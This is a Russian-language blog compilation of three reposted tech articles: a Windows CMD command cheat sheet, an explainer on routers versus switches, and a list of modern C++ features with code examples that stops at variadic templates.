Фото

Шпаргалка по CMD командам в Windows


Командная строка Windows (CMD) — мощный инструмент, который предоставляет доступ к широкому набору команд для выполнения различных задач, от работы с файлами до настройки сети и автоматизации процессов.  В статье рассмотрим 100 популярных команд CMD, которые пригодятся как новичкам, так и опытным пользователям. Для удобства они разделены по категориям. 

 

Общие команды CMD

Общие команды командной строки (CMD) позволяют пользователям управлять ОС Windows через интерфейс командной строки. Они нацелены на различные задачи – от получения справочной информации до управления процессами. 

  • hel — выводит список всех доступных команд и их краткое описание, что полезно для получения информации о базовых командах.
  • cls — очищает экран командной строки. Если в окне CMD много текста, этой командой можно убрать весь вывод и начать работу «с чистого листа».
  • exit — завершает текущую сессию командной строки и закрывает окно CMD.
  • echo — выводит сообщения в консоль или включает/выключает отображение команд в пакетных файлах – echo Hello, World! выведет Hello, World! на экран.
  • ver  отображает версию операционной системы Windows.
  • title  изменяет заголовок окна командной строки. Например, title Моя Командная Строка изменит заголовок на «Моя Командная Строка».
  • pause  временно приостанавливает выполнение скрипта, но при нажатии любой клавиши можно продолжить работу.
  • date  позволяет узнать или изменить текущую дату в системе.
  • time — отображает или изменяет текущее время в системе.
  • tasklist — выводит список всех запущенных процессов с их PID (идентификатором процесса).
  • powercfg — управляет настройками энергопотребления и профилями питания. 
  • fc — сравнивает два файла и отображает их различия. 

Сетевые команды CMD

В разделе собраны основные сетевые команды CMD, которые помогут управлять подключениями, диагностировать сетевые проблемы и выполнять разнообразные операции с сетью. Они незаменимы для системных администраторов и пользователей, нуждающихся в решении сетевых задач. 

  • ping  проверяет связь с удаленным узлом, отправляя ему пакеты данных. Например, ping google.com проверит доступность сервера Google.
  • ipconfig  отображает конфигурацию сетевых интерфейсов системы (IP-адреса, маску подсети и шлюзы).
  • netstat  выводит информацию о сетевых соединениях и открытых портах
  • netstat -an — показывает все активные соединения.
  • tracert  отслеживает маршрут пакета до целевого узла – tracert yandex.ru покажет все узлы, через которые проходит запрос.
  • nslookup  используется для проверки информации о DNS-серверах.
  • nslookup example.com — отображает IP-адрес сайта example.com.
  • arp  выводит или изменяет записи ARP (Address Resolution Protocol) –: arp -a покажет текущие записи ARP.
  • route  управляет таблицей маршрутизации сети – route print выведет все существующие маршруты в системе.
  • net use  подключает сетевые диски. Например, net use Z: \\server\folder подключит сетевой ресурс как диск Z:.
  • netsh  позволяет настраивать различные параметры сети через командную строку.
  • netsh wlan show profiles — отображает сохраненные профили Wi-Fi.

Команды для управления процессами

Команды ниже позволяют эффективно управлять процессами и службами на вашем ПК: помогают запускать службы, планировать задачи, управлять активными процессами, а также выключать или перезагружать систему. С их помощью можно автоматизировать выполнение задач, получать информацию о состоянии системы и контролировать её работоспособность. 

  • sc  управляет службами Windows. Пример: sc start servicename запустит службу с именем servicename.
  • schtasks  управляет планировщиком задач. Так, schtasks /create /tn «Моя Задача» /tr notepad.exe /sc once /st 12:00 создаст задачу для запуска.
  • start  запускает программу или команду в новом окне. Например, start notepad откроет блокнот.
  • wmic  взаимодействует с системой через Windows Management Instrumentation – wmic process list brief покажет список процессов.
  • shutdown  выключает, перезагружает или завершает работу системы. Так, shutdown /s /f /t 0 немедленно выключит компьютер.
  • systeminfo  выводит информацию о системе, включая версию Windows, параметры оборудования и установленные обновления.

Команды для управления файловой системой

Команды для управления файловой системой в CMD позволяют работать с файлами и папками: просматривать содержимое директорий, перемещаться между папками, создавать и удалять файлы и каталоги, копировать данные с использованием различных опций. 

  • dir  отображает список файлов и каталогов в указанной директории. Пример: dir C:\Windows выведет содержимое папки Windows.
  • cd  меняет текущий каталог. Так, cd C:\Users перейдет в папку пользователей.
  • md NewFolder  создает новую папку. 
  • rd  удаляет пустую папку. Пример: rd NewFolder удалит папку NewFolder.
  • copy  копирует файлы из одного места в другое.
  • move  перемещает файлы или папки.
  • del  удаляет файлы. Например, del file.txt удалит файл file.txt.
  • xcopy  копирует файлы и директории, включая их структуру. Так, xcopy C:\Source D:\Destination /s /e скопирует все файлы и папки из Source в Destination.
  • robocopy  более продвинутая версия xcopy, используется для надежного копирования данных. Например, robocopy C:\Source D:\Destination /mir синхронизирует две папки.

Команды для управления пользователями

Команды для управления пользователями предоставляют средства для администрирования учетных записей, настройки групповых прав и управления политиками безопасности. А также позволяют администраторам эффективно управлять пользователями в системе, добавлять новых пользователей, изменять их права и настраивать параметры учетных записей.

  • net user  управляет учетными записями пользователей.
  • net user UserName /add  добавляет нового пользователя с именем UserName.
  • net localgroup  управляет локальными группами пользователей.
  • net localgroup Administrators UserName /add — добавляет пользователя в группу администраторов.
  • whoami  выводит имя текущего пользователя и информацию о его правах.
  • runas  позволяет запускать программы от имени другого пользователя. Так, runas /user:administrator cmd запустит CMD с правами администратора.
  • net accounts  управляет параметрами учетных записей, например, минимальной длиной пароля и периодом его действия.
  • gpupdate — обновляет групповые политики на локальном компьютере, что полезно для администраторов, управляемых сетей.
  • taskview — открывает таймлайн Windows, показывая историю активности пользователя, полезно для управления и поиска ранее использованных файлов и приложений.
  • msg — отправляет сообщение пользователям, подключенным к системе. Пример: msg «Система будет перезагружена через 5 минут» отправит сообщение всем пользователям.

Команды для управления безопасностью

Команды для управления безопасностью предназначены для обеспечения защиты данных и управления доступом к файлам и системным ресурсам, что позволяет шифровать файлы, проверять целостность системных файлов и управлять правами доступа.

  • cipher  управляет шифрованием файлов на дисках NTFS.
  • cipher/e — зашифровывает файлы в указанной директории.
  • sfc  проверяет целостность системных файлов и автоматически восстанавливает их при обнаружении повреждений.
  • sfc /verifyonly — проверяет системные файлы на наличие повреждений, но не исправляет их автоматически.
  • sfc /scannow  выполняет полную проверку системы.
  • cacls  изменяет права доступа к файлам. Пример: cacls file.txt /g UserName:F даст пользователю полный доступ к файлу.
  • icacls  расширяет возможности команды cacls и предоставляет дополнительные параметры для управления правами доступа.
  • takeown  позволяет взять владение файлом или директорией. Так, takeown /f file.txt предоставит доступ к файлам.
  • attrib  изменяет атрибуты файлов и папок. Например, attrib +r file.txt сделает файл доступным только для чтения.

Команды для диагностики и устранения неполадок

Команды из раздела помогают находить и устранять неполадки в системе, восстанавливать загрузочные параметры и проверять целостность данных на диске, а также они позволяют решать проблемы, связанные с запуском операционной системы или со сбоями на уровне файловой системы. 

  • chkdsk  проверяет диск на наличие ошибок и исправляет их. Так, chkdsk C: /f выполнит проверку диска C.
  • bootrec  восстанавливает загрузочный сектор. 
  • bcdedit  управляет параметрами загрузки системы. 
  • bcdedit /set {current} safeboot minimal — включает безопасный режим.

Команды для скриптинга и автоматизации

Команды, приведенные ниже, предназначены для создания сложных сценариев выполнения команд, что позволяет автоматизировать повседневные задачи и более эффективно управлять процессами. 

  • for  создает цикл для выполнения команд. Например, for %i in (1 2 3) do echo %i выведет числа 1, 2, 3.
  • if  выполняет условное выполнение команд.
  • goto  перенаправляет выполнение скрипта к определенной метке.
  • call  вызывает другую команду или скрипт.

Команды для управления сетевыми подключениями

Команды для управления сетевыми подключениями предоставляют возможности для настройки, диагностики и оптимизации сетевых параметров и соединений, позволяя управлять IP-адресами, подключаться и отключаться от сетей.

  • ipconfig /release  освобождает текущий IP-адрес, назначенный DHCP сервером, что позволяет при необходимости сбросить сетевое подключение.
  • ipconfig /renew  обновляет IP-адрес, полученный от DHCP сервера. Часто используется после команды ipconfig /release для восстановления подключения.
  • ipconfig /flushdns  очищает кэш DNS, если изменился DNS-сервер или необходимо устранить проблемы с доступом к сайтам.
  • ipconfig /displaydns  выводит содержимое кэша DNS, часто используется для диагностики проблем с DNS.
  • netsh interface ip set address  используется для назначения статического IP-адреса сетевому интерфейсу. Пример: netsh interface ip set address Ethernet static 192.168.1.100 255.255.255.0 192.168.1.1.
  • netsh wlan show drivers  выводит информацию о драйверах беспроводной сети, что полезно при настройке Wi-Fi подключения.
  • netsh wlan show interfaces  отображает текущие активные беспроводные подключения и их параметры, например, мощность сигнала.
  • netsh wlan connect  подключает к указанной Wi-Fi сети. Для этого нужно ввести: netsh wlan connect name=MyWiFi.
  • netsh wlan disconnect  отключает текущее беспроводное подключение.
  • netsh advfirewall set allprofiles state  управляет состоянием брандмауэра Windows – netsh advfirewall set allprofiles state off отключает брандмауэр для всех профилей.
  • netsh int ip reset  сбрасывает настройки IP стека (TCP/IP) к значениям по умолчанию, помогая при сетевых неполадках.
  • route add  добавляет маршрут в таблицу маршрутизации. Например, route add 192.168.2.0 mask 255.255.255.0 192.168.1.1 добавит маршрут для подсети 192.168.2.0 через шлюз 192.168.1.1.
  • route delete  удаляет указанный маршрут из таблицы маршрутизации.
  • netsh interface show interface  выводит список всех сетевых интерфейсов в системе, включая их состояние и тип.
  • net view  отображает список компьютеров в локальной сети – net view \\server покажет общие ресурсы на указанном сервере.
  • net use /delete  удаляет существующее подключение к сетевому ресурсу. Так, net use Z: /delete отключает сетевой диск Z:.
  • ftp  открывает FTP-клиент для передачи файлов между локальной и удаленной системами. Например, по команде ftp ftp.example.com ПК подключится к FTP-серверу.
  • telnet  используется для подключения к удаленным системам через Telnet-протокол. Так, telnet example.com 23 подключит ПК к серверу на порту 23.
  • getmac  выводит MAC-адреса всех сетевых интерфейсов компьютера.

Команды для управления печатью

В этом разделе команды для управления печатью позволяют эффективно управлять процессом печати (включая очередью на печать), настройками принтеров и заданиями на печать. 

  • print  отправляет файл на печать. Например, print C:\Documents\file.txt отправит текстовый файл на принтер по умолчанию.
  • rundll32 printui.dll,PrintUIEntry  открывает диалоговое окно для установки или управления принтерами – rundll32 printui.dll,PrintUIEntry /in /n\\server\printer установит сетевой принтер.
  • net print  отображает список заданий на печать – net print \\server\printer покажет очередь печати на указанном принтере.
  • net stop spooler  останавливает службу диспетчера очереди печати (spooler), особенно когда требуется устранить зависшие задания печати.
  • net start spooler  запускает службу диспетчера очереди печати после её остановки.
  • wmic printer list brief  выводит список установленных принтеров с краткой информацией о каждом из них.
  • wmic printer where default=true get name  выводит имя принтера, установленного по умолчанию.
  • wmic printer where name=’PrinterName’ delete  удаляет указанный принтер из системы.
  • wmic printerconfig  отображает информацию о конфигурации принтера, включая его настройки и параметры печати.
  • cscript prnjobs.vbs  используется для управления заданиями печати через скрипт prnjobs.vbs, который можно использовать для удаления, приостановки или возобновления заданий.

Дополнительные команды в Windows

В дополнение к основным инструментам для управления системой, командная строка Windows предоставляет ряд дополнительных команд, которые расширяют возможности администрирования и диагностики. 

  • wevtutil  управляет журналами событий Windows. Например, wevtutil qe System выведет события из системного журнала.
  • tzutil — управляет настройками часовых поясов. tzutil /s Pacific Standard Time установит часовой пояс на Тихоокеанское стандартное время.
  • taskkill — завершает процесс по его PID или имени. Так, taskkill /F /PID 1234 завершит процесс с PID 1234.
  • powercfg /hibernate off — отключает режим гибернации.
  • powercfg /energy — создает отчет об использовании энергии системой.

 

Источник: https://www.computerra.ru

 



Фото

Маршрутизатор и коммутатор, в чем разница?


Маршрутизаторы и коммутаторы — сетевые устройства, позволяющие одному или нескольким девайсам подключаться к другим компьютерам, сетевым устройствам или другим сетям. Они схожи, но у них разный функционал.

Что такое маршрутизация и зачем появились маршрутизаторы

Сетевая маршрутизация — это процесс определения пути для данных (пакетов) между разными сегментами. Роутер работает на уровне L3 (сетевом), использует IP-адреса, чтобы направлять трафик туда, куда нужно. Без него невозможна связь между вашей домашней LAN, а также внешним миром.

Принципы маршрутизации могут применяться к любому типу подключения, от телефонных до общественного транспорта. В коммутации пакетов, маршрутизация выбирает пути для пакетов интернет-протокола (IP), которые будут перемещаться из их происхождения в пункт назначения. Эти решения о маршрутизации принимаются специализированным оборудованием.

Устройства ссылаются на внутренние таблицы маршрутизации для принятия решений о том, как маршрутизировать пакеты по сетевым путям. Таблица маршрутизации записывает пути, по которым должны идти пакеты, чтобы добраться до каждого пункта назначения, за который отвечает маршрутизатор. Алгоритм работы: когда роутер получает пакет, он читает заголовки, чтобы увидеть его предполагаемое место назначения. Затем он определяет, куда маршрутизировать пакет на основе информации в таблицах маршрутизации. Эта процедура выполняется миллионы раз в секунду. Пакет может обрабатываться несколькими устройствами перед доставкой.

Динамическая маршрутизация требует большей вычислительной мощности сервера, поэтому небольшие сети могут полагаться на статическую маршрутизацию. Но для средних или крупных динамическая маршрутизация гораздо эффективнее.

Протоколы маршрутизации используют метрику для определения наилучшего пути для доставки пакетов. Метрика — это стандарт измерения, такой как пропускная способность, задержка, текущая нагрузка на путь. Используемый алгоритмом маршрутизации для определения оптимального пути к месту назначения.

Коммутатор, маршрутизатор, роутер

Коммутатор (сетевой коммутатор) — это устройство, которое объединяет несколько компьютеров в одну локальную сеть. В отличие от старого хаба, он не просто ретранслирует данные, а анализирует MAC-адреса и отправляет пакеты только нужному получателю. Это делает сеть быстрее и безопаснее.

Задача коммутатора состоит в подключении всех девайсов, оборудования к локальной сети. Коммутатор выполнен в виде прямоугольного корпуса: от компактного размера (с пачку сигарет) до крупногабаритного шкафа, монтируемого в 19-дюймовую стойку. Количество портов варьируется от 5 в малых моделях до 1152 (как в Cisco Nexus 9508 в максимальной комплектации с портами 10G). Финальные габариты и возможности устройства зависят от количества портов, их скорости (1G/10G/25G/100G и выше) и компоновки. Обычно используется витая пара, реже — оптоволоконные кабели. Основной разъем — RJ45, иногда SFP и его варианты.

Работая с коммутатором, можно избежать всех хлопот по настройке сетевого подключения — компьютеров, ноутбуков, телевизоров, кодеков, игровых приставок. Проводные роутеры обеспечивают безопасную передачу данных на коммутатор. Затем отправляется информация на устройства на основе списка MAC-адресов.

 

 

Основные типы коммутаторов:

  • управляемые;
  • неуправляемые.

Неуправляемая модель работает только как узел. Этот вид хорошо подходит для жилых сетей или небольших офисов. Подключение выполняется в любом формате, так как все порты одинаковы.

Управляемые модели бывают разных уровней: L2 и L2+ — это относительно недорогие модели с ограниченным функционалом (например, базовое управление VLAN, QoS), но достаточным для многих задач. Более продвинутые управляемые коммутаторы предлагают широкие возможности настройки и подходят для построения сложных сетевых инфраструктур благодаря поддержке функций вроде L3-маршрутизации, ACL и детального мониторинга. Однако для домашнего использования такие устройства избыточны — их покупка означает неоправданную переплату за неиспользуемые возможности.

Управляемый коммутатор уровня 3 (L3) выполняет функции маршрутизатора, такие как работа с IP-адресами, а также маршрутизация между подсетями. Однако он оптимизирован для локальных сетей (LAN) и обычно работает быстрее в рамках одной сети, тогда как маршрутизатор чаще используют для соединения разных сетей (например, LAN и WAN). Разница в гибкости: у маршрутизатора больше возможностей для сложных правил (NAT, фильтрация), а L3-коммутатор эффективнее в локальном трафике.

Маршрутизатор (роутер) — более сложное устройство, которое связывает разные сети. Он подключаются к двум или более IP-сетям или подсетям и передают между ними пакеты данных. Маршрутизаторы используются в домах либо офисах для обеспечения подключения к внешней сети.Устройство работает на сетевом уровне модели OSI, одновременно функционируя на уровне протокола TCP/IP.

Более мощные модели работают по всему Интернету, помогая пакетам данных добраться до места назначения. Например, он соединяет вашу домашнюю LAN с WAN (интернетом). Он работает на уровне L3, принимает решения на основе IP-адресов, часто включая дополнительные функции: Wi-Fi, firewall, DHCP.

Функции:

  • управление трафиком путем пересылки пакетов;
  • позволяет нескольким гаджетам подключаться к одинаковой сети;
  • применяется для пересылки пакета между сетями.

Роутер — это устройство, которое распределяет доступ к внешней сети — Интернет от провайдера на множество проводных, беспроводных устройств. Он создает локальную сеть в доме. Все устройства, такие как смартфоны, телевизоры, компьютеры, а также ноутбуки, умные устройства – подключаются к роутеру, который пересылает все данные в зависимости от запроса, либо внутри локальной сети, либо же отправляет “наружу”. Внешней сетью может быть как мобильная (3g/4g/5g), спутниковая (Старлинк/полудуплексные решения от Триколора и т.д.), оптическая (xPON решения и обычный ethernet через медиаконвертеры), медь (ethernet и до сих пор используемый в деревнях adsl).

Сегодня услуги интернет-провайдеров предоставляются сетями, разбросанными по всему городу. Однако для пользователей эта сеть является внешней (глобальной), поскольку не находится в их квартирах или домах. Конечно, можно подключить кабель, проложенный поставщиком услуг подключения, непосредственно к компьютеру или ноутбуку. Но как же остальные члены семьи, которые тоже хотят пользоваться интернетом? Здесь на помощь приходят роутеры. Один из портов который, обычно называемый WAN-портом, подключает интернет-линию. У некоторых производителей этот порт выделен цветом (например, синим или голубым), но стандартного цветового обозначения нет — важно ориентироваться на подписи (WAN/Internet) или инструкцию к устройству.

 

 

А порты LAN используются для подключения нескольких компьютеров или ноутбуков по проводу. Через тот же интерфейс можно подключить множество других устройств, например, принтеры, телевизоры SMART и камеры наблюдения, в данный порт можно также подключить коммутатор, чтобы увеличить количество возможных проводных подключений или же дополнительные Wi-fi точки доступа, чтобы увеличить покрытие сети.

Задача роутера — принимать сигналы из внешней сети, создавать внутреннюю сеть между подключенными устройствами, предоставляя этим устройствам доступ в Интернет. Однако все подключенные устройства могут также обмениваться информацией внутри сети. Допустим, можно загрузить фильм на свой компьютер, а также посмотреть его на телевизоре.

Маршрутизатор и роутер — это одинаковые понятия. 

Термин «роутер» — это англицизм (от router), а «маршрутизатор» — русский аналог. Оба термина обозначают устройство, которое пересылает данные между сетями, будь то домашняя Wi-Fi-сеть или корпоративная инфраструктура. В быту маршрутизатор часто называют роутером, особенно если речь идет о компактном устройстве с антеннами, раздающем беспроводной интернет. Техподдержка может использовать оба слова, но суть не меняется: это устройство, обеспечивающее подключение к сети. Разницы в функционале нет, отличие лишь в происхождении терминов.

Основные функции

Коммутатор обеспечивает быстрое соединение внутри одной сети. Его ключевые задачи — минимизация коллизий, а также эффективная передача данных между устройствами. Современные модели поддерживают VLAN, агрегацию портов и QoS.

Маршрутизатор же отвечает за связь между сетями. Он не только направляет трафик, но может преобразовывать адреса (NAT), фильтровать пакеты (firewall). В домашних условиях роутер часто работает, также как коммутатор, имея несколько LAN-портов.

Разница между коммутатором и маршрутизатором

Главное отличие — в их назначении. Коммутатор работает внутри одной сети, используя MAC-адреса, а маршрутизатор соединяет несколько сетей, оперируя IP-адресами.

Маршрутизаторы выбирают пути для пакетов данных для кросс-сетей, достигая своих пунктов назначения. Они делают это, подключаясь к различным сетям, пересылая данные из сети в сеть. Учитываются также локальные, глобальные сети (WAN) или автономные системы. Последние являются крупными сетями, составляющими Интернет.

Это означает, что маршрутизаторы необходимы для подключения к Интернету, а коммутаторы требуются только для соединения устройств. Зачастую не нужен коммутатор, если только не нужно много портов Ethernet. Коммутаторы нужны в крупных офисах, сетях, а также центрах обработки данных с десятками или сотнями компьютеров.

 

Основное отличие:

  • если вам нужно объединить компьютеры в офисе — берем коммутатор;
  • если требуется подключить сеть к интернету — нужен маршрутизатор.

Где используется маршрутизатор и коммутатор?

Маршрутизатор встречается везде, где есть выход в интернет: дома, в офисах, дата-центрах. Он также применяется для разграничения подсетей и балансировки нагрузки.

Коммутатор используется там, где нужно создать быструю локальную сеть: в офисах (для подключения ПК, принтеров, IP-камер), на предприятиях, в серверных. Управляемые модели позволяют гибко настраивать трафик.

Как подключиться к маршрутизатору и коммутатору?

Большинство современных роутеров настраиваются через веб-интерфейс. Достаточно подключиться к сети (по Wi-Fi или кабелю), ввести в браузере IP-адрес (например, 192.168.1.1), далее авторизоваться.

Коммутаторы (особенно управляемые) можно настроить через веб-интерфейс, SSH или консольный порт. Последний вариант часто используется в профессиональной среде, так как позволяет восстановить доступ даже при сбоях.

Базовые настройки маршрутизатора и коммутатора

Для маршрутизатора важно:

  • настроить подключение к провайдеру (PPPoE, DHCP, статический IP);
  • включить DHCP, чтобы устройства получали адреса автоматически;
  • установить пароль на Wi-Fi и выбрать оптимальный режим шифрования.

Для коммутатора основные настройки включают:

  • создание VLAN для разделения трафика;
  • настройку агрегации портов (LACP) для увеличения пропускной способности;
  • управление QoS для приоритезации важного трафика (например, VoIP).

Современные тенденции: L2 и L3 коммутаторы

Традиционные коммутаторы L2 работают только с MAC-адресами, не умеют маршрутизировать трафик. Но сейчас популярны L3-коммутаторы, которые сочетают функции коммутации, маршрутизации. Они быстрее классических роутеров в локальных сетях, чаще используются в корпоративных решениях.

Еще более продвинутые модели — Multilayer Switch (L3+), которые поддерживают сложные политики маршрутизации и ACL. Они стирают грань между коммутатором и маршрутизатором, предлагая гибридные возможности.

Итак, маршрутизатор и коммутатор — это разные устройства для разных задач. Если вам нужно подключиться к интернету и управлять трафиком между сетями — выбирайте маршрутизатор. Если для быстрой и стабильной локальной сети выбирайте коммутатор.

Современные тенденции размывают границы: появляются L3-коммутаторы, а роутеры обрастают дополнительными функциями. Но понимание основных отличий поможет вам правильно выбрать оборудование и настроить эффективную сеть.

 

Источник:  https://cloud4box.com

 

 



Фото

21 фича современного C++


В этой статье вашему вниманию будут представлены 21 новая фича современного C++, которые помогут сделать ваш проект лучше, а работу над ним легче.

1. Разделители разрядов чисел

 

int no = 1'000'000;                      // визуальное разделение единиц, тысяч, миллионов и т.д.
long addr = 0xA000'EFFF;                 // визуальное разделение 32-битного адреса на
uint32_t binary = 0b0001'0010'0111'1111; // удобочитаемые сегменты
  • Раньше вам нужно было считать цифры или нули, но, начиная с C++14, вы можете сделать большие числа намного нагляднее.

  • Эта фича помогает облегчить навигацию по словам и цифрам. Или, допустим, вы можете повысить читаемость номера кредитной карты или социального страхования.

  • Благодаря сгруппированным разрядам, ваш код станет немного выразительнее.

 

2. Псевдонимы типов

 

template <typename T>
using dyn_arr = std::vector<T>;
dyn_arr<int> nums; // эквивалентно std::vector<int>

using func_ptr = int (*)(int);
  • Семантически похоже на использование typedef, однако псевдонимы типов легче читаются и совместимы с шаблонами С++. Поблагодарите С++11.

 

3. Пользовательские литералы

 

using ull = unsigned long long;

constexpr ull operator"" _KB(ull no)
{
return no * 1024;
}

constexpr ull operator"" _MB(ull no)
{
return no * (1024_KB);
}

cout<<1_KB<<endl;
cout<<5_MB<<endl;
  • По большей части это будут какие-нибудь реальные единицы, такие как kb, mb, км, см, рубли, доллары, евро и т.д. Пользовательские литералы позволяют вам не определять функции, для выполнения преобразования единиц измерения во время выполнения, а работать с ним как с другими примитивными типами.

  • Очень удобно для единиц и измерения.

  • Благодаря добавлению constexpr вы можете добиться нулевого влияния на производительность во время выполнения, что мы увидим позже в этой статье, и более подробно вы можете почитать об этом в другой статье, которую я написал, — “Использование const и constexpr в С++”.

 

4. Унифицированная инициализация и инициализация нестатических членов

 

Раньше вам нужно было инициализировать поля их значениями по умолчанию в конструкторе или в списке инициализации. Но начиная с C++11 можно задавать обычным переменным-членам класса (тем, которые не объявлены с ключевым словом static) инициализирующее значение по умолчанию, как показано ниже:

class demo
{
private:
uint32_t m_var_1 = 0;
bool m_var_2 = false;
string m_var_3 = "";
float m_var_4 = 0.0;

public:
demo(uint32_t var_1, bool var_2, string var_3, float var_4)
: m_var_1(var_1),
m_var_2(var_2),
m_var_3(var_3),
m_var_4(var_4) {}
};

demo obj{123, true, "lol", 1.1};
  • Это особенно полезно, когда в качестве полей выступают сразу несколько вложенных объектов, определенных, как показано ниже:

class computer
{
private:
cpu_t m_cpu{2, 3.2_GHz};
ram_t m_ram{4_GB, RAM::TYPE::DDR4};
hard_disk_t m_ssd{1_TB, HDD::TYPE::SSD};

public:
// ...
};
  • В этом случае вам не нужно инициализировать их в списке инициализации. Вместо этого вы можете напрямую указать значение по умолчанию во время объявления.

class X
{
const static int m_var = 0;
};

// int X::m_var = 0; // не требуется для статических константных полей
  • Вы также можете инициализировать во время объявления const static члены класса, как показано выше.

 

5. std::initializer_list

 

std::pair<int, int> p = {1, 2};
std::tuple<int, int> t = {1, 2};
std::vector<int> v = {1, 2, 3, 4, 5};
std::set<int> s = {1, 2, 3, 4, 5};
std::list<int> l = {1, 2, 3, 4, 5};
std::deque<int> d = {1, 2, 3, 4, 5};

std::array<int, 5> a = {1, 2, 3, 4, 5};

// Не работает для адаптеров
// std::stack<int> s = {1, 2, 3, 4, 5};
// std::queue<int> q = {1, 2, 3, 4, 5};
// std::priority_queue<int> pq = {1, 2, 3, 4, 5};
  • Присваивайте значения контейнерам непосредственно с помощью списка инициализаторов, как это можно делать с C-массивами.

  • Это справедливо и для вложенных контейнеров. Скажите спасибо С++11.

 

6. auto & decltype

 

auto a = 3.14; // double
auto b = 1; // int
auto& c = b; // int&
auto g = new auto(123); // int*
auto x; // error -- `x` requires initializer
  • auto-типизированные переменные выводятся компилятором на основе типа их инициализатора.

  • Чрезвычайно полезно с точки зрения удобочитаемости, особенно для сложных типов:

// std::vector<int>::const_iterator cit = v.cbegin();
auto cit = v.cbegin(); // альтернатива

// std::shared_ptr<vector<uint32_t>> demo_ptr(new vector<uint32_t>(0);
auto demo_ptr = make_shared<vector<uint32_t>>(0); // альтернатива
  • Функции также могут выводить тип возвращаемого значения с помощью auto. В C++11 тип возвращаемого значения должен быть указан либо явно, либо с помощью decltype, например:

template <typename X, typename Y>
auto add(X x, Y y) -> decltype(x + y)
{
return x + y;
}
add(1, 2); // == 3
add(1, 2.0); // == 3.0
add(1.5, 1.5); // == 3.0
  • Приведенная выше форма определения возвращаемого типа называется trailing return type, т.е. -> return-type.

 

7. Циклы for по диапазону

 

  • Синтаксический сахар для перебора элементов контейнера.

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int& x : a) x *= 2;
// a == { 2, 4, 6, 8, 10 }
  • Обратите внимание на разницу при использовании int в противовес int&:

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int x : a) x *= 2;
// a == { 1, 2, 3, 4, 5 }

 

8. Умные указатели

 

  • C++11 добавляет в язык новые умные указатели: std::unique_ptrstd::shared_ptrstd::weak_ptr.

  • А std::auto_ptr устарел, и в конечном итоге удален в C++17.

std::unique_ptr<int> i_ptr1{new int{5}}; // Не рекомендуется 
auto i_ptr2 = std::make_unique<int>(5); // Так лучше

template <typename T>
struct demo
{
T m_var;

demo(T var) : m_var(var){};
};

auto i_ptr3 = std::make_shared<demo<uint32_t>>(4);
  • Гайдлайны ISO CPP рекомендуют избегать явных вызовов new и delete, выразив это в правиле “никаких голых new”.

 

9. nullptr

 

  • C++11 добавил новый тип пустого указателя, предназначенный для замены макроса C NULL.

  • nullptr имеет тип std::nullptr_t и может быть неявно преобразован в типы непустых указателей, и в отличие от NULL, не конвертируем в целочисленные типы, за исключением bool.

void foo(int);
void foo(char*);
foo(NULL); // ошибка -- неоднозначность
foo(nullptr); // вызывает foo(char*)

 

10. Строго типизированные перечисления

 

enum class STATUS_t : uint32_t
{
PASS = 0,
FAIL,
HUNG
};

STATUS_t STATUS = STATUS_t::PASS;
STATUS - 1; // больше не валидно, начиная с C++11
  • Типобезопасные перечисления, которые решают множество проблем с C-перечислениями, включая неявные преобразования, арифметические операции, невозможность указать базовый тип, загрязнение области видимости и т.д.

 

11. Приведение типов

 

  • Приведение в стиле C изменяет только тип, не затрагивая сами данные. В то время как старый C++ имел небольшой уклон в типобезопасность, он предоставлял фичу указания оператора/функции преобразования типа. Но это было неявное преобразование типов. Начиная с C++11, функции преобразования типов теперь можно сделать явными с помощью спецификатора explicit следующим образом:

struct demo
{
explicit operator bool() const { return true; }
};

demo d;
if (d); // OK, вызывает demo::operator bool()
bool b_d = d; // ОШИБКА: не может преобразовать 'demo' в 'bool' во время инициализации
bool b_d = static_cast<bool>(d); // OK, явное преобразование, вы знаете, что делаете

 

 

12. Move-семантика

 

  • Когда объект будет уничтожен или не будет более использоваться после выполнения выражения, целесообразнее переместить (move) ресурс, а не копировать его.

  • Копирование включает в себя ненужные накладные расходы, такие как выделение памяти, высвобождение и копирование содержимого памяти и т.д.

  • Рассмотрим следующую функцию, меняющую местами два значения:

template <class T>
swap(T& a, T& b) {
T tmp(a); // теперь у нас есть две копии a
a = b; // теперь у нас есть две копии b (+ отброшена копия a)
b = tmp; // теперь у нас есть две копии tmp (+ отброшена копия b)
}
  • Использование move позволяет вам напрямую обменивать ресурсы вместо их копирования:

template <class T>
swap(T& a, T& b) {
T tmp(std::move(a));
a = std::move(b);
b = std::move(tmp);
}
  • А теперь представьте, что происходит, когда Т это, скажем, vector<int> размера n. И n достаточно велико.

  • В первой версии вы читаете и записываете 3*n элементов, во второй версии вы в по сути читаете и записываете только 3 указателя на буферы векторов плюс 3 размера буферов.

  • Конечно, класс Т должен знать, как ему перемещаться; ваш класс должен иметь оператор присваивания перемещением и конструктор перемещения для класса Т, чтобы это работало.

  • Эта фича даст вам значительный прирост в производительности — именно то, поэтому люди используют C++ (т.е., чтобы выжать последние 2-3 капли скорости).

 

13. Универсальные ссылки

 

  • В официальной терминологии известные как forwarding references (передаваемые ссылки). Универсальная ссылка объявляется с помощью синтаксиса Т&&, где Т является шаблонным параметром типа, или с помощью auto&&. Они в свою очередь служат фундаментом для двух других крупных фич:

    • move-семантика

    • И perfect forwarding, возможность передавать аргументы, которые являются либо lvalue, либо rvalue.

Универсальные ссылки позволяют ссылаться на привязку либо к lvalue, либо к rvalue в зависимости от типа. Универсальные ссылки следуют правилам свертывания ссылок:

  1. T& & становится  T&  

  2. T& && становится T&

  3. T&& & становится T&

  4. T&& && становится T&&

Вывод шаблонного параметра типа с lvalue ​​и rvalue:

// Начиная с C++14 и далее:
void f(auto&& t) {
// ...
}

// Начиная с C++11 и далее:
template <typename T>
void f(T&& t) {
// ...
}

int x = 0;
f(0); // выводится как f(int&&)
f(x); // выводится как f(int&)

int& y = x;
f(y); // выводится как f(int& &&) => f(int&)

int&& z = 0; // ПРИМЕЧАНИЕ: z — это lvalue типа int&amp;&amp;.
f(z); // выводится как f(int&& &) => f(int&)
f(std::move(z)); // выводится как f(int&& &&) => f(int&&)

 

 

14. Шаблоны с переменным количеством аргументов

 

void print() {}

template <typename First, typename... Rest>
void print(const First &first, Rest &&... args)
{
std::cout << first << std::endl;
print(args...);
}

print(1, "lol", 1.1);
